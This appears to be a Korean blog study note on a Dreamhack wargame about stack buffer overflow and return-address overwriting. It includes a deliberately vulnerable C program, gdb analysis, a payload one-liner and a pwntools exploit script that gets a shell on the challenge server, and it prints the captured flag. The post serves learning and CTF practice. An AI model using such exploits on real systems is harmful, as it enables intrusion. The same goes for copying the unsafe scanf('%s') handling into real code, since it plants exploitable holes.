티스토리 뷰
예제
// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main() {
char buf[0x28];
init();
printf("Input: ");
scanf("%s", buf);
return 0;
}
A를 여러개 입력했을 때, Segmentation fault라는 에러가 출력되며, 프로그램이 비정상적으로 종료된다.
-> 프로그램이 잘못된 메모리 주소에 접근했다는 의미이며, 프로그램에 버그가 발생했다는 신호이다.
$ ulimit -c unlimited
로 코어 파일 크기 제한을 해제할 수 있다.
$ gdb rao -c core.1828876
로 코어 파일을 열 수 있다.
익스플로잇
스택 버퍼에 오버플로우를 발생시켜서 반환주소를 덮으려면, 우선 해당 버퍼가 스택 프레임의 어디에 위치하는지 조사해야 한다.
pwndbg> nearpc
0x400706 call printf@plt
0x40070b lea rax, [rbp - 0x30]
0x40070f mov rsi, rax
0x400712 lea rdi, [rip + 0xab]
0x400719 mov eax, 0
► 0x40071e call __isoc99_scanf@plt <__isoc99_scanf @plt>
format: 0x4007c4 ◂— 0x3b031b0100007325 /* '%s' */
vararg: 0x7fffffffe2e0 ◂— 0x0
...
pwndbg> x/s 0x4007c4
0x4007c4: "%s"__isoc99_scanf
scanf("%s", (rbp-0x30)); // scanf() 함수의 의사 코드
이 예제에서는 셸을 실행해주는 get_shell() 함수가 있기 때문에 이 함수의 주소로 main 함수의 반환 주소를 덮어 셀을 획득할 수 있다.
$ gdb rao -q
pwndbg> print get_shell
$1 = {<text variable, no debug info>} 0x4006aa <get_shell>
pwndbg> quit
이를 통해 get_shell() 의 주소가 0x4006aa 임을 확인할 수 있다.
페이로드 구성
시스템 해킹에서 페이로드는 공격을 위해 프로그램에 전달하는 데이터를 의미한다.
엔디언 적용
구성한 페이로드는 적절한 엔디언(Endian)을 적용해서 프로그램에 전달해야한다. 엔디언은 메모리에서 데이터가 정렬되는 방식으로 주로 리틀 엔디언(Little-Endian, LE)과 빅 엔디언(Big-Endian, BE)이 사용된다.
리틀 엔디언에서는 데이터의 Most Significant Byte(MSB; 가장 왼쪽의 바이트)가 가장 높은 주소에 저장되고, 빅 엔디언에서는 데이터의 MSB가 가장 낮은 주소에 저장된다.
익스플로잇
$ (python -c "import sys;sys.stdout.buffer.write(b'A'*0x30 + b'B'*0x8 + b'\xaa\x06\x40\x00\x00\x00\x00\x00')";cat)| ./rao
$ id
id
uid=1000(rao) gid=1000(rao) groups=1000(rao)
성공적으로 셸을 획득할 수 있다.
rao
입력 함수(패턴) | 위험도 | 평가 근거 |
gets(buf) | 매우 위험 |
|
scanf(“%s”, buf) | 매우 위험 |
|
scanf(“%[width]s”, buf) | 주의 필요 |
|
fgets(buf, len, stream) | 주의 필요 |
|
워게임
~$ vi exploit.py
from pwn import *
p = remote(" host3.dreamhack.games", 20225)
payload = b"A"*0x30
payload += b"B"*0x8
payload += b"\xaa\x06\x40\x00\x00\x00\x00\x00"
p.recvuntil('Input: ')
p.sendline(payload)
p.interactive()
~$ python3 exploit.py
[+] Opening connection to host3.dreamhack.games on port 20225: Done
/home/seyun/exploit.py:9: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil('Input: ')
[*] Switching to interactive mode
$ ls
flag
rao
run.sh
$ cat flag
DH{5f47cd0e441bdc6ce8bf6b8a3a0608dc}
[*] Got EOF while reading in interactive
'System Hacking' 카테고리의 다른 글
[Dreamhack] Return to Library (0) | 2024.04.08 |
---|---|
[드림핵] Shellcode (0) | 2024.02.27 |
helloworld.c 디스어셈블리 (0) | 2024.02.25 |
[드림핵] Tool Installation_gdb, pwntools (0) | 2024.02.25 |
[프로젝트] 악성코드 - 웜 (0) | 2024.02.24 |